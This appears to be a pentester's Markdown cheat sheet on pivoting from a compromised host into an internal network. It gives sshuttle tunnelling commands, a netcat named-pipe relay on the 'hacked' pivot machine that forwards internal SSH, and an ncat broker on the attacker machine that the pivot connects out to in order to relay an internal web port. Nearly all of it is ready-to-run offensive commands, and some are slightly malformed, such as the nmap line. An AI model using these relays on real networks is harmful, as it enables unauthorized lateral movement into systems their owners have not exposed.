23 lines
1.1 KiB
Markdown
23 lines
1.1 KiB
Markdown
- sshuttle
|
|
- `sshuttle -r username@sshserver 0.0.0.0/0 -vv`
|
|
- `sshuttle -r username@sshserver 0/0 -vv`
|
|
- `sshuttle --dns -vvr username@sshserver 0/0`
|
|
- Using netcat to foward internal traffic
|
|
- On remote host - setup listener by creating backpipe
|
|
- `mkfifo pipe`
|
|
- `mknod pivot p`
|
|
- Setup listener on pivot machine to forward an internal machine's port
|
|
- `nc -l -p 9001 0<pivot | nc <internal-rhost> <i-rhost-port> 1>pivot`
|
|
- `nc -l -p 9001 0<pivot | nc 172.16.50.222 22 1>pivot`
|
|
- check that you can use see the interface open on the external machine
|
|
- `nmap -p 22 9001 rhost OR nmap -p 22 172.1.1.1`
|
|
- Ncat port fowwarder (with listener on attacking lhost machine instead of external hacked machine)
|
|
- On attacker machine
|
|
- `ncat -lv --broker -m2 <port-number>`
|
|
- `ncat -lv --broker -m2 8900`
|
|
- On pivot machine
|
|
- `ncat -v <attack-lhost-ip> <attacker-lport> -c "nc -v <internal-rhost-to-pivot-to> <port-on-final-rhost>`
|
|
- `ncat -v 10.13.37.10 8900 -c "nc -v 172.16.50.222 80"`
|
|
- View traffic
|
|
- `curl http://localhost:8900`
|
|
- `ssh user@localhost -p 8900` |